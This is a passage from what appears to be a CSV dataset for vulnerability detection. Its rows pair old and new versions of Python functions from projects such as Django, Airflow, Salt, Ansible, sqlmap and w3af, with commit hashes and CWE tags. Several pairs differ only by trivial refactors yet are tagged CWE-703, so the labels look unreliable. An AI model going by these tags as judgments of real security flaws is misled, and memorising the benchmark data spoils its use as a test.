            ""queued_dttm"": None,
            ""run_id"": ""TEST_DAGRUN"",
            ""start_date"": None,
            ""state"": None,
            ""task_id"": ""run_this_last"",
            ""trigger_id"": None,
            ""trigger_timeout"": None,
            ""try_number"": 1,
            ""unixname"": ""root"",
            ""updated_at"": DEFAULT_DATE.isoformat(),
        },
        ""runme_0"": {
            ""dag_id"": ""example_bash_operator"",
            ""duration"": None,
            ""end_date"": None,
            ""executor_config"": {},
            ""external_executor_id"": None,
            ""hostname"": """",
            ""job_id"": None,
            ""map_index"": -1,
            ""max_tries"": 0,
            ""next_kwargs"": None,
            ""next_method"": None,
            ""operator"": ""BashOperator"",
            ""pid"": None,
            ""pool"": ""default_pool"",
            ""pool_slots"": 1,
            ""priority_weight"": 3,
            ""queue"": ""default"",
            ""queued_by_job_id"": None,
            ""queued_dttm"": None,
            ""run_id"": ""TEST_DAGRUN"",
            ""start_date"": None,
            ""state"": None,
            ""task_id"": ""runme_0"",
            ""trigger_id"": None,
            ""trigger_timeout"": None,
            ""try_number"": 1,
            ""unixname"": ""root"",
            ""updated_at"": DEFAULT_DATE.isoformat(),
        },
        ""runme_1"": {
            ""dag_id"": ""example_bash_operator"",
            ""duration"": None,
            ""end_date"": None,
            ""executor_config"": {},
            ""external_executor_id"": None,
            ""hostname"": """",
            ""job_id"": None,
            ""map_index"": -1,
            ""max_tries"": 0,
            ""next_kwargs"": None,
            ""next_method"": None,
            ""operator"": ""BashOperator"",
            ""pid"": None,
            ""pool"": ""default_pool"",
            ""pool_slots"": 1,
            ""priority_weight"": 3,
            ""queue"": ""default"",
            ""queued_by_job_id"": None,
            ""queued_dttm"": None,
            ""run_id"": ""TEST_DAGRUN"",
            ""start_date"": None,
            ""state"": None,
            ""task_id"": ""runme_1"",
            ""trigger_id"": None,
            ""trigger_timeout"": None,
            ""try_number"": 1,
            ""unixname"": ""root"",
            ""updated_at"": DEFAULT_DATE.isoformat(),
        },
        ""runme_2"": {
            ""dag_id"": ""example_bash_operator"",
            ""duration"": None,
            ""end_date"": None,
            ""executor_config"": {},
            ""external_executor_id"": None,
            ""hostname"": """",
            ""job_id"": None,
            ""map_index"": -1,
            ""max_tries"": 0,
            ""next_kwargs"": None,
            ""next_method"": None,
            ""operator"": ""BashOperator"",
            ""pid"": None,
            ""pool"": ""default_pool"",
            ""pool_slots"": 1,
            ""priority_weight"": 3,
            ""queue"": ""default"",
            ""queued_by_job_id"": None,
            ""queued_dttm"": None,
            ""run_id"": ""TEST_DAGRUN"",
            ""start_date"": None,
            ""state"": None,
            ""task_id"": ""runme_2"",
            ""trigger_id"": None,
            ""trigger_timeout"": None,
            ""try_number"": 1,
            ""unixname"": ""root"",
            ""updated_at"": DEFAULT_DATE.isoformat(),
        },
        ""this_will_skip"": {
            ""dag_id"": ""example_bash_operator"",
            ""duration"": None,
            ""end_date"": None,
            ""executor_config"": {},
            ""external_executor_id"": None,
            ""hostname"": """",
            ""job_id"": None,
            ""map_index"": -1,
            ""max_tries"": 0,
            ""next_kwargs"": None,
            ""next_method"": None,
            ""operator"": ""BashOperator"",
            ""pid"": None,
            ""pool"": ""default_pool"",
            ""pool_slots"": 1,
            ""priority_weight"": 2,
            ""queue"": ""default"",
            ""queued_by_job_id"": None,
            ""queued_dttm"": None,
            ""run_id"": ""TEST_DAGRUN"",
            ""start_date"": None,
            ""state"": None,
            ""task_id"": ""this_will_skip"",
            ""trigger_id"": None,
            ""trigger_timeout"": None,
            ""try_number"": 1,
            ""unixname"": ""root"",
            ""updated_at"": DEFAULT_DATE.isoformat(),
        },
    }"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,django/utils/datetime_safe.py,0,"def strftime(dt, fmt):
    if dt.year >= 1900:
        return super(type(dt), dt).strftime(fmt)
    illegal_formatting = _illegal_formatting.search(fmt)
    if illegal_formatting:
        raise TypeError(""strftime of dates before 1900 does not handle"" + illegal_formatting.group(0))

    year = dt.year
    # For every non-leap year century, advance by
    # 6 years to get into the 28-year repeat cycle
    delta = 2000 - year
    off = 6 * (delta // 100 + delta // 400)
    year = year + off

    # Move to around the year 2000
    year = year + ((2000 - year) // 28) * 28
    timetuple = dt.timetuple()
    s1 = time.strftime(fmt, (year,) + timetuple[1:])
    sites1 = _findall(s1, str(year))

    s2 = time.strftime(fmt, (year + 28,) + timetuple[1:])
    sites2 = _findall(s2, str(year + 28))

    sites = []
    for site in sites1:
        if site in sites2:
            sites.append(site)

    s = s1
    syear = ""%04d"" % (dt.year,)
    for site in sites:
        s = s[:site] + syear + s[site + 4:]
    return s",CWE-Unknown,django/django,c347f78cc1b2a06958f692f0622deceac534dc6b,"def strftime(dt, fmt):
    if dt.year >= 1900:
        return super(type(dt), dt).strftime(fmt)
    illegal_formatting = _illegal_formatting.search(fmt)
    if illegal_formatting:
        raise TypeError(""strftime of dates before 1900 does not handle"" + illegal_formatting.group(0))

    year = dt.year
    # For every non-leap year century, advance by
    # 6 years to get into the 28-year repeat cycle
    delta = 2000 - year
    off = 6 * (delta // 100 + delta // 400)
    year = year + off

    # Move to around the year 2000
    year = year + ((2000 - year) // 28) * 28
    timetuple = dt.timetuple()
    s1 = time.strftime(fmt, (year,) + timetuple[1:])
    sites1 = _findall(s1, str(year))

    s2 = time.strftime(fmt, (year+28,) + timetuple[1:])
    sites2 = _findall(s2, str(year+28))

    sites = []
    for site in sites1:
        if site in sites2:
            sites.append(site)

    s = s1
    syear = ""%04d"" % (dt.year,)
    for site in sites:
        s = s[:site] + syear + s[site+4:]
    return s"
functions_for_w3af_with_cwe.csv,UNKNOWN,UNKNOWN,w3af/core/controllers/core_helpers/not_found/decorators.py,0,"def __call__(self, *args, **kwargs):
        http_response = args[1]
        query = args[2]

        self._stats_total += 1
        self._log_stats(http_response)

        url_cache_key = self.get_url_cache_key(http_response)

        try:
            result = self._is_404_by_url_lru.get(url_cache_key, None)
        except (AttributeError, AssertionError, KeyError) as _:
            # This is a rare race conditions which happens when another
            # thread modifies the cache and changes the __first item in
            # the cache.
            result = None
            
        if result is not None:
            self._log_success(http_response, result, 'URL')
            return result

        body_cache_key = self._response_cache_key_cache.get_response_cache_key(http_response,
                                                                               clean_response=query)

        try:
            result = self._is_404_by_body_lru.get(body_cache_key, None)
        except (AttributeError, AssertionError, KeyError) as _:
            # This is a rare race conditions which happens when another
            # thread modifies the cache and changes the __first item in
            # the cache.
            result = None

        if result is not None:
            self._log_success(http_response, result, 'body')
            return result

        # Run the real is_404 function
        result = self._function(*args, **kwargs)

        # Save the result to both caches
        try:
            self._is_404_by_body_lru[body_cache_key] = result
        except (AttributeError, AssertionError, KeyError) as _:
            # This is a rare race conditions which happens when another
            # thread modifies the cache and changes the __first item in
            # the cache.
            pass

        try:
            self._is_404_by_url_lru[url_cache_key] = result
        except (AttributeError, AssertionError, KeyError) as _:
            # This is a rare race conditions which happens when another
            # thread modifies the cache and changes the __first item in
            # the cache.
            pass

        return result",,andresriancho/w3af,9ba00d022ad1963f49c39cabc8959661f1c4ba7e,"def __call__(self, *args, **kwargs):
        http_response = args[1]
        query = args[2]

        self._stats_total += 1
        self._log_stats(http_response)

        url_cache_key = self.get_url_cache_key(http_response)

        try:
            result = self._is_404_by_url_lru.get(url_cache_key, None)
        except (AttributeError, AssertionError, KeyError) as _:
            # This is a rare race conditions which happens when another
            # thread modifies the cache and changes the __first item in
            # the cache.
            result = None
            
        if result is not None:
            self._log_success(http_response, result, 'URL')
            return result

        body_cache_key = self._response_cache_key_cache.get_response_cache_key(http_response,
                                                                               clean_response=query)

        result = self._is_404_by_body_lru.get(body_cache_key, None)

        if result is not None:
            self._log_success(http_response, result, 'body')
            return result

        # Run the real is_404 function
        result = self._function(*args, **kwargs)

        # Save the result to both caches
        try:
            self._is_404_by_body_lru[body_cache_key] = result
        except (AttributeError, AssertionError, KeyError) as _:
            # This is a rare race conditions which happens when another
            # thread modifies the cache and changes the __first item in
            # the cache.
            pass

        try:
            self._is_404_by_url_lru[url_cache_key] = result
        except (AttributeError, AssertionError, KeyError) as _:
            # This is a rare race conditions which happens when another
            # thread modifies the cache and changes the __first item in
            # the cache.
            pass

        return result"
,UNKNOWN,UNKNOWN,tools/pkg/build.py,1,"def onedir_dependencies(
    ctx: Context,
    arch: str = None,
    python_version: str = None,
    relenv_version: str = None,
    package_name: str = None,
    platform: str = None,
):
    """"""
    Create a relenv environment with the onedir dependencies installed.

    NOTE: relenv needs to be installed into your environment and builds and toolchains (linux) fetched.
    """"""
    if TYPE_CHECKING:
        assert arch is not None
        assert python_version is not None
        assert package_name is not None
        assert platform is not None

    if platform == ""darwin"":
        platform = ""macos""

    if platform != ""macos"" and arch == ""arm64"":
        arch = ""aarch64""

    shared_constants = tools.utils.get_cicd_shared_context()
    if not python_version:
        python_version = shared_constants[""python_version""]
    if not relenv_version:
        relenv_version = shared_constants[""relenv_version""]
    if TYPE_CHECKING:
        assert python_version
        assert relenv_version
    os.environ[""RELENV_FETCH_VERSION""] = relenv_version

    # We import relenv here because it is not a hard requirement for the rest of the tools commands
    try:
        import relenv.create
    except ImportError:
        ctx.exit(1, ""Relenv not installed in the current environment."")

    dest = pathlib.Path(package_name).resolve()
    relenv.create.create(dest, arch=arch, version=python_version)

    # Validate that we're using the relenv version we really want to
    if platform == ""windows"":
        env_scripts_dir = dest / ""Scripts""
    else:
        env_scripts_dir = dest / ""bin""

    ret = ctx.run(
        str(env_scripts_dir / ""relenv""), ""--version"", capture=True, check=False
    )
    if ret.returncode:
        ctx.error(f""Failed to get the relenv version: {ret}"")
        ctx.exit(1)

    env_relenv_version = ret.stdout.strip().decode()
    if env_relenv_version != relenv_version:
        ctx.error(
            f""The onedir installed relenv version({env_relenv_version}) is not ""
            f""the relenv version which should be used({relenv_version}).""
        )
        ctx.exit(1)

    ctx.info(
        f""The relenv version installed in the onedir env({env_relenv_version}) ""
        f""matches the version which must be used.""
    )

    env = os.environ.copy()
    install_args = [""-v""]
    if platform == ""windows"":
        python_bin = env_scripts_dir / ""python""
    else:
        env[""RELENV_BUILDENV""] = ""1""
        python_bin = env_scripts_dir / ""python3""
        install_args.extend(
            [
                ""--use-pep517"",
                ""--no-cache-dir"",
                ""--no-binary=:all:"",
            ]
        )

    # Cryptography needs openssl dir set to link to the proper openssl libs.
    if platform == ""macos"":
        env[""OPENSSL_DIR""] = f""{dest}""

    if platform == ""linux"":
        # This installs the ppbt package. We'll remove it after installing all
        # of our python packages.
        ctx.run(
            str(python_bin),
            ""install"",
            ""relenv[toolchain]"",
        )

    version_info = ctx.run(
        str(python_bin),
        ""-c"",
        ""import sys; print('{}.{}'.format(*sys.version_info))"",
        capture=True,
    )
    requirements_version = version_info.stdout.strip().decode()
    requirements_file = (
        tools.utils.REPO_ROOT
        / ""requirements""
        / ""static""
        / ""pkg""
        / f""py{requirements_version}""
        / f""{platform if platform != 'macos' else 'darwin'}.txt""
    )
    _check_pkg_build_files_exist(ctx, requirements_file=requirements_file)

    env[""PIP_CONSTRAINT""] = str(
        tools.utils.REPO_ROOT / ""requirements"" / ""constraints.txt""
    )
    ctx.run(
        str(python_bin),
        ""-m"",
        ""pip"",
        ""install"",
        ""-U"",
        ""setuptools"",
        ""pip"",
        ""wheel"",
        env=env,
    )
    ctx.run(
        str(python_bin),
        ""-m"",
        ""pip"",
        ""install"",
        *install_args,
        ""-r"",
        str(requirements_file),
        env=env,
    )",CWE-703,saltstack/salt,aa6cd319e7a25136db71e9aa03d84c0d4124b295,"def onedir_dependencies(
    ctx: Context,
    arch: str = None,
    python_version: str = None,
    relenv_version: str = None,
    package_name: str = None,
    platform: str = None,
):
    """"""
    Create a relenv environment with the onedir dependencies installed.

    NOTE: relenv needs to be installed into your environment and builds and toolchains (linux) fetched.
    """"""
    if TYPE_CHECKING:
        assert arch is not None
        assert python_version is not None
        assert package_name is not None
        assert platform is not None

    if platform == ""darwin"":
        platform = ""macos""

    if platform != ""macos"" and arch == ""arm64"":
        arch = ""aarch64""

    shared_constants = tools.utils.get_cicd_shared_context()
    if not python_version:
        python_version = shared_constants[""python_version""]
    if not relenv_version:
        relenv_version = shared_constants[""relenv_version""]
    if TYPE_CHECKING:
        assert python_version
        assert relenv_version
    os.environ[""RELENV_FETCH_VERSION""] = relenv_version

    # We import relenv here because it is not a hard requirement for the rest of the tools commands
    try:
        import relenv.create
    except ImportError:
        ctx.exit(1, ""Relenv not installed in the current environment."")

    dest = pathlib.Path(package_name).resolve()
    relenv.create.create(dest, arch=arch, version=python_version)

    # Validate that we're using the relenv version we really want to
    if platform == ""windows"":
        env_scripts_dir = dest / ""Scripts""
    else:
        env_scripts_dir = dest / ""bin""

    ret = ctx.run(
        str(env_scripts_dir / ""relenv""), ""--version"", capture=True, check=False
    )
    if ret.returncode:
        ctx.error(f""Failed to get the relenv version: {ret}"")
        ctx.exit(1)

    env_relenv_version = ret.stdout.strip().decode()
    if env_relenv_version != relenv_version:
        ctx.error(
            f""The onedir installed relenv version({env_relenv_version}) is not ""
            f""the relenv version which should be used({relenv_version}).""
        )
        ctx.exit(1)

    ctx.info(
        f""The relenv version installed in the onedir env({env_relenv_version}) ""
        f""matches the version which must be used.""
    )

    env = os.environ.copy()
    install_args = [""-v""]
    if platform == ""windows"":
        python_bin = env_scripts_dir / ""python""
    else:
        env[""RELENV_BUILDENV""] = ""1""
        python_bin = env_scripts_dir / ""python3""
        install_args.extend(
            [
                ""--use-pep517"",
                ""--no-cache-dir"",
                ""--no-binary=:all:"",
            ]
        )

    # Cryptography needs openssl dir set to link to the proper openssl libs.
    if platform == ""macos"":
        env[""OPENSSL_DIR""] = f""{dest}""

    if platform == ""linux"":
        # This installs the ppbt package. We'll remove it after installing all
        # of our python packages.
        ctx.run(
            str(python_bin),
            ""-m"",
            ""pip"",
            ""install"",
            ""relenv[toolchain]"",
        )

    version_info = ctx.run(
        str(python_bin),
        ""-c"",
        ""import sys; print('{}.{}'.format(*sys.version_info))"",
        capture=True,
    )
    requirements_version = version_info.stdout.strip().decode()
    requirements_file = (
        tools.utils.REPO_ROOT
        / ""requirements""
        / ""static""
        / ""pkg""
        / f""py{requirements_version}""
        / f""{platform if platform != 'macos' else 'darwin'}.txt""
    )
    _check_pkg_build_files_exist(ctx, requirements_file=requirements_file)

    env[""PIP_CONSTRAINT""] = str(
        tools.utils.REPO_ROOT / ""requirements"" / ""constraints.txt""
    )
    ctx.run(
        str(python_bin),
        ""-m"",
        ""pip"",
        ""install"",
        ""-U"",
        ""setuptools"",
        ""pip"",
        ""wheel"",
        env=env,
    )
    ctx.run(
        str(python_bin),
        ""-m"",
        ""pip"",
        ""install"",
        *install_args,
        ""-r"",
        str(requirements_file),
        env=env,
    )"
,UNKNOWN,UNKNOWN,django/contrib/gis/db/models/lookups.py,1,"def as_sql(self, qn, connection):
        from django.contrib.gis.db.models.sql import GeoWhereNode
        # We use the same approach as was used by GeoWhereNode. It would
        # be a good idea to upgrade GIS to use similar code that is used
        # for other lookups.
        if isinstance(self.rhs, SQLEvaluator):
            # Make sure the F Expression destination field exists, and
            # set an `srid` attribute with the same as that of the
            # destination.
            geo_fld = GeoWhereNode._check_geo_field(self.rhs.opts, self.rhs.expression.name)
            if not geo_fld:
                raise ValueError('No geographic field found in expression.')
            self.rhs.srid = geo_fld.srid
        db_type = self.lhs.output_field.db_type(connection=connection)
        params = self.lhs.output_field.get_db_prep_lookup(
            self.lookup_name, self.rhs, connection=connection)
        lhs_sql, lhs_params = self.process_lhs(qn, connection)
        # lhs_params not currently supported.
        assert not lhs_params
        data = (lhs_sql, db_type)
        spatial_sql, spatial_params = connection.ops.spatial_lookup_sql(
            data, self.lookup_name, self.rhs, self.lhs.output_field, qn)
        return spatial_sql, spatial_params + params",CWE-703,django/django,aa10f57d9460f121dea2ec2635e478ed02cc18b5,"def as_sql(self, qn, connection):
        from django.contrib.gis.db.models.sql import GeoWhereNode
        # We use the same approach as was used by GeoWhereNode. It would
        # be a good idea to upgrade GIS to use similar code that is used
        # for other lookups.
        if isinstance(self.rhs, SQLEvaluator):
            # Make sure the F Expression destination field exists, and
            # set an `srid` attribute with the same as that of the
            # destination.
            geo_fld = GeoWhereNode._check_geo_field(self.rhs.opts, self.rhs.expression.name)
            if not geo_fld:
                raise ValueError('No geographic field found in expression.')
            self.rhs.srid = geo_fld.srid
        db_type = self.lhs.output_type.db_type(connection=connection)
        params = self.lhs.output_type.get_db_prep_lookup(
            self.lookup_name, self.rhs, connection=connection)
        lhs_sql, lhs_params = self.process_lhs(qn, connection)
        # lhs_params not currently supported.
        assert not lhs_params
        data = (lhs_sql, db_type)
        spatial_sql, spatial_params = connection.ops.spatial_lookup_sql(
            data, self.lookup_name, self.rhs, self.lhs.output_type, qn)
        return spatial_sql, spatial_params + params"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,scripts/ci/pre_commit/check_providers_subpackages_all_have_init.py,0,"def check_dir_init_src_folders(folders: list[Path]) -> None:
    global fail_pre_commit
    folders = list(folders)
    for root_distribution_path in folders:
        # We need init folders for all folders and for the common ones we need path extension
        providers_base_folder = root_distribution_path / ""src"" / ""airflow""
        print(""Checking for __init__.py files in distribution for src: "", providers_base_folder)
        for root, dirs, _ in os.walk(providers_base_folder):
            print(""Checking: "", root)
            root_path = Path(root)
            # Edit it in place, so we don't recurse to folders we don't care about
            dirs[:] = [d for d in dirs if d not in ACCEPTED_NON_INIT_DIRS]
            relative_root_path = root_path.relative_to(providers_base_folder)
            need_path_extension = (
                root_path == providers_base_folder
                or len(relative_root_path.parts) == 1
                or len(relative_root_path.parts) == 2
                and relative_root_path.parts[1] in KNOWN_SECOND_LEVEL_PATHS
                and relative_root_path.parts[0] == ""providers""
            )
            print(""Needs path extension: "", need_path_extension)
            _determine_init_py_action(need_path_extension, root_path)",CWE-Unknown,apache/airflow,95a74c67297c7796ef642326b390161f43184ffd,"def check_dir_init_src_folders(folders: list[Path]) -> None:
    global fail_pre_commit
    folders = list(folders)
    for root_distribution_path in folders:
        # We need init folders for all folders and for the common ones we need path extension
        providers_base_folder = root_distribution_path / ""src"" / ""airflow""
        print(""Checking for __init__.py files in distribution for src: "", providers_base_folder)
        for root, dirs, _ in os.walk(providers_base_folder):
            print(""Checking: "", root)
            root_path = Path(root)
            # Edit it in place, so we don't recurse to folders we don't care about
            dirs[:] = [d for d in dirs if d not in ACCEPTED_NON_INIT_DIRS]
            relative_root_path = root_path.relative_to(providers_base_folder)
            need_path_extension = (
                root_path == providers_base_folder
                or len(relative_root_path.parts) == 2
                and relative_root_path.parts[1] in KNOWN_SECOND_LEVEL_PATHS
                and relative_root_path.parts[0] == ""providers""
            )
            print(""Needs path extension: "", need_path_extension)
            _determine_init_py_action(need_path_extension, root_path)"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,test/runner/lib/delegation.py,0,"def delegate_tox(args, exclude, require, integration_targets):
    """"""
    :type args: EnvironmentConfig
    :type exclude: list[str]
    :type require: list[str]
    :type integration_targets: tuple[IntegrationTarget]
    """"""
    if args.python:
        versions = (args.python_version,)

        if args.python_version not in SUPPORTED_PYTHON_VERSIONS:
            raise ApplicationError('tox does not support Python version %s' % args.python_version)
    else:
        versions = SUPPORTED_PYTHON_VERSIONS

    if args.httptester:
        needs_httptester = sorted(target.name for target in integration_targets if 'needs/httptester/' in target.aliases)

        if needs_httptester:
            display.warning('Use --docker or --remote to enable httptester for tests marked ""needs/httptester"": %s' % ', '.join(needs_httptester))

    options = {
        '--tox': args.tox_args,
        '--tox-sitepackages': 0,
    }

    for version in versions:
        tox = ['tox', '-c', 'test/runner/tox.ini', '-e', 'py' + version.replace('.', '')]

        if args.tox_sitepackages:
            tox.append('--sitepackages')

        tox.append('--')

        cmd = generate_command(args, os.path.abspath('bin/ansible-test'), options, exclude, require)

        if not args.python:
            cmd += ['--python', version]

        if isinstance(args, TestConfig):
            if args.coverage and not args.coverage_label:
                cmd += ['--coverage-label', 'tox-%s' % version]

        env = common_environment()

        # temporary solution to permit ansible-test delegated to tox to provision remote resources
        optional = (
            'SHIPPABLE',
            'SHIPPABLE_BUILD_ID',
            'SHIPPABLE_JOB_NUMBER',
        )

        env.update(pass_vars(required=[], optional=optional))

        run_command(args, tox + cmd, env=env)",,ansible/ansible,e4ae98f83e2b77a2f815ca320e94e0e2279f62f5,"def delegate_tox(args, exclude, require, integration_targets):
    """"""
    :type args: EnvironmentConfig
    :type exclude: list[str]
    :type require: list[str]
    :type integration_targets: tuple[IntegrationTarget]
    """"""
    if args.python:
        versions = args.python_version,

        if args.python_version not in SUPPORTED_PYTHON_VERSIONS:
            raise ApplicationError('tox does not support Python version %s' % args.python_version)
    else:
        versions = SUPPORTED_PYTHON_VERSIONS

    if args.httptester:
        needs_httptester = sorted(target.name for target in integration_targets if 'needs/httptester/' in target.aliases)

        if needs_httptester:
            display.warning('Use --docker or --remote to enable httptester for tests marked ""needs/httptester"": %s' % ', '.join(needs_httptester))

    options = {
        '--tox': args.tox_args,
        '--tox-sitepackages': 0,
    }

    for version in versions:
        tox = ['tox', '-c', 'test/runner/tox.ini', '-e', 'py' + version.replace('.', '')]

        if args.tox_sitepackages:
            tox.append('--sitepackages')

        tox.append('--')

        cmd = generate_command(args, os.path.abspath('bin/ansible-test'), options, exclude, require)

        if not args.python:
            cmd += ['--python', version]

        if isinstance(args, TestConfig):
            if args.coverage and not args.coverage_label:
                cmd += ['--coverage-label', 'tox-%s' % version]

        env = common_environment()

        # temporary solution to permit ansible-test delegated to tox to provision remote resources
        optional = (
            'SHIPPABLE',
            'SHIPPABLE_BUILD_ID',
            'SHIPPABLE_JOB_NUMBER',
        )

        env.update(pass_vars(required=[], optional=optional))

        run_command(args, tox + cmd, env=env)"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,lib/request/comparison.py,0,"def comparison(page, headers=None, getSeqMatcher=False):
    regExpResults = None

    # String to be excluded before calculating page hash
    if conf.eString and conf.eString in page:
        index              = page.index(conf.eString)
        length             = len(conf.eString)
        pageWithoutString  = page[:index]
        pageWithoutString += page[index+length:]
        page               = pageWithoutString

    # Regular expression matches to be excluded before calculating page hash
    if conf.eRegexp:
        regExpResults = re.findall(conf.eRegexp, page, re.I | re.M)

        if regExpResults:
            for regExpResult in regExpResults:
                index              = page.index(regExpResult)
                length             = len(regExpResult)
                pageWithoutRegExp  = page[:index]
                pageWithoutRegExp += page[index+length:]
                page               = pageWithoutRegExp

    # String to match in page when the query is valid
    if conf.string:
        return conf.string in page

    # Regular expression to match in page when the query is valid
    if conf.regexp:
        return re.search(conf.regexp, page, re.I | re.M) is not None

    # Dynamic content lines to be excluded before calculating page hash
    if kb.dynamicContent:
        lines = preparePageForLineComparison(page)
        for item in kb.dynamicContent:
            if len(lines) == item.pageTotal:
                before = item.lineNumber - 1 if isinstance(item.lineNumber, int) else item.lineNumber[0] - 1
                after = item.lineNumber + 1 if isinstance(item.lineNumber, int) else item.lineNumber[-1] + 1
                if (item.lineContentBefore and lines[before] != item.lineContentBefore) or (item.lineContentAfter and lines[after] != item.lineContentAfter):
                    continue
                if isinstance(item.lineNumber, int):
                    page = page.replace(lines[item.lineNumber], '')
                else:
                    for i in item.lineNumber:
                        page = page.replace(lines[i], '')

    if conf.seqLock:
        conf.seqLock.acquire()

    conf.seqMatcher.set_seq2(page)
    ratio = round(conf.seqMatcher.ratio(), 3)

    if conf.seqLock:
        conf.seqLock.release()

    # If the url is stable and we did not set yet the match ratio and the
    # current injected value changes the url page content
    if conf.matchRatio is None:
        if conf.thold:
            conf.matchRatio = conf.thold

        elif conf.md5hash is not None and ratio > 0.6 and ratio < 1:
            logger.debug(""setting match ratio to %.3f"" % ratio)
            conf.matchRatio = ratio

        elif conf.md5hash is None or ( conf.md5hash is not None and ratio < 0.6 ):
            logger.debug(""setting match ratio to default value 0.900"")
            conf.matchRatio = 0.900

        if conf.matchRatio is not None:
            setMatchRatio()

    # If it has been requested to return the ratio and not a comparison
    # response
    if getSeqMatcher:
        return ratio

    # If the url is stable it returns True if the page has the same MD5
    # hash of the original one
    # NOTE: old implementation, it did not handle automatically the fact
    # that the url could be not stable (due to VIEWSTATE, counter, etc.)
    #elif conf.md5hash is not None:
    #    return conf.md5hash == md5hash(page)

    # If the url is not stable it returns sequence matcher between the
    # first untouched HTTP response page content and this content
    else:
        return ratio > conf.matchRatio",,sqlmapproject/sqlmap,798ab4989b0514646c7a82225725f77400334f24,"def comparison(page, headers=None, getSeqMatcher=False):
    regExpResults = None

    # String to be excluded before calculating page hash
    if conf.eString and conf.eString in page:
        index              = page.index(conf.eString)
        length             = len(conf.eString)
        pageWithoutString  = page[:index]
        pageWithoutString += page[index+length:]
        page               = pageWithoutString

    # Regular expression matches to be excluded before calculating page hash
    if conf.eRegexp:
        regExpResults = re.findall(conf.eRegexp, page, re.I | re.M)

        if regExpResults:
            for regExpResult in regExpResults:
                index              = page.index(regExpResult)
                length             = len(regExpResult)
                pageWithoutRegExp  = page[:index]
                pageWithoutRegExp += page[index+length:]
                page               = pageWithoutRegExp

    # String to match in page when the query is valid
    if conf.string:
        return conf.string in page

    # Regular expression to match in page when the query is valid
    if conf.regexp:
        return re.search(conf.regexp, page, re.I | re.M) is not None

    # Dynamic content lines to be excluded before calculating page hash
    if kb.dynamicContent:
        lines = preparePageForLineComparison(page)
        for item in kb.dynamicContent:
            if len(lines) == item.pageTotal:
                before = item.lineNumber - 1 if isinstance(item.lineNumber, int) else item.lineNumber[0] - 1
                after = item.lineNumber + 1 if isinstance(item.lineNumber, int) else item.lineNumber[-1] + 1
                if (item.lineContentBefore and lines[before] != item.lineContentBefore) or (item.lineContentAfter and lines[after] != item.lineContentAfter):
                    continue
                if isinstance(item.lineNumber, int):
                    page = page.replace(lines[item.lineNumber], '')
                else:
                    for i in item.lineNumber:
                        page = page.replace(lines[i], '')

    if conf.seqLock:
        conf.seqLock.acquire()

    conf.seqMatcher.set_seq2(page)
    ratio = round(conf.seqMatcher.ratio(), 3)

    if conf.seqLock:
        conf.seqLock.release()

    # If the url is stable and we did not set yet the match ratio and the
    # current injected value changes the url page content
    if conf.matchRatio is None:
        if conf.md5hash is not None and ratio > 0.6 and ratio < 1:
            logger.debug(""setting match ratio to %.3f"" % ratio)
            conf.matchRatio = ratio

        elif conf.md5hash is None or ( conf.md5hash is not None and ratio < 0.6 ):
            logger.debug(""setting match ratio to default value 0.900"")
            conf.matchRatio = 0.900

    if conf.matchRatio is not None:
        setMatchRatio()

    # If it has been requested to return the ratio and not a comparison
    # response
    if getSeqMatcher:
        return ratio

    # If the url is stable it returns True if the page has the same MD5
    # hash of the original one
    # NOTE: old implementation, it did not handle automatically the fact
    # that the url could be not stable (due to VIEWSTATE, counter, etc.)
    #elif conf.md5hash is not None:
    #    return conf.md5hash == md5hash(page)

    # If the url is not stable it returns sequence matcher between the
    # first untouched HTTP response page content and this content
    else:
        return ratio > conf.matchRatio"
,UNKNOWN,UNKNOWN,providers/standard/src/airflow/providers/standard/sensors/external_task.py,1,"def get_link(self, operator: BaseOperator, *, ti_key: TaskInstanceKey) -> str:
        if TYPE_CHECKING:
            assert isinstance(operator, (ExternalTaskMarker, ExternalTaskSensor))

        external_dag_id = operator.external_dag_id

        if not AIRFLOW_V_3_0_PLUS:
            from airflow.models.renderedtifields import RenderedTaskInstanceFields

            if template_fields := RenderedTaskInstanceFields.get_templated_fields(ti_key):
                external_dag_id: str = template_fields.get(""external_dag_id"", operator.external_dag_id)  # type: ignore[no-redef]

        if AIRFLOW_V_3_0_PLUS:
            from airflow.utils.helpers import build_airflow_dagrun_url

            return build_airflow_dagrun_url(dag_id=external_dag_id, run_id=ti_key.run_id)
        from airflow.utils.helpers import build_airflow_url_with_query  # type:ignore[attr-defined]

        query = {""dag_id"": external_dag_id, ""run_id"": ti_key.run_id}
        return build_airflow_url_with_query(query)",CWE-703,apache/airflow,cb295c351a016c0a10cab07f2a628b865cff3ca3,"def get_link(self, operator: BaseOperator, *, ti_key: TaskInstanceKey) -> str:
        if TYPE_CHECKING:
            assert isinstance(operator, (ExternalTaskMarker, ExternalTaskSensor))

        external_dag_id = operator.external_dag_id

        if not AIRFLOW_V_3_0_PLUS:
            from airflow.models.renderedtifields import RenderedTaskInstanceFields

            if template_fields := RenderedTaskInstanceFields.get_templated_fields(ti_key):
                external_dag_id: str = template_fields.get(""external_dag_id"", operator.external_dag_id)  # type: ignore[no-redef]

        if AIRFLOW_V_3_0_PLUS:
            from airflow.utils.helpers import build_airflow_dagrun_url

            return build_airflow_dagrun_url(dag_id=external_dag_id, run_id=ti_key.run_id)
        else:
            from airflow.utils.helpers import build_airflow_url_with_query  # type:ignore[attr-defined]

            query = {""dag_id"": external_dag_id, ""run_id"": ti_key.run_id}
            return build_airflow_url_with_query(query)"
,UNKNOWN,UNKNOWN,tests/pytests/unit/states/test_cmd.py,1,"def test_run():
    """"""
    Test to run a command if certain circumstances are met.
    """"""
    name = ""cmd.script""

    ret = {""name"": name, ""result"": False, ""changes"": {}, ""comment"": """"}

    with patch.dict(cmd.__opts__, {""test"": False}):
        comt = ""Invalidly-formatted 'env' parameter. See documentation.""
        ret.update({""comment"": comt})
        assert cmd.run(name, env=""salt"") == ret

    with patch.dict(cmd.__grains__, {""shell"": ""shell""}):
        with patch.dict(cmd.__opts__, {""test"": False}):
            mock = MagicMock(side_effect=[CommandExecutionError, {""retcode"": 1}])
            with patch.dict(cmd.__salt__, {""cmd.run_all"": mock}):
                ret.update({""comment"": """", ""result"": False})
                assert cmd.run(name) == ret

                ret.update(
                    {
                        ""comment"": 'Command ""cmd.script"" run',
                        ""result"": False,
                        ""changes"": {""retcode"": 1},
                    }
                )
                assert cmd.run(name) == ret

        with patch.dict(cmd.__opts__, {""test"": True}):
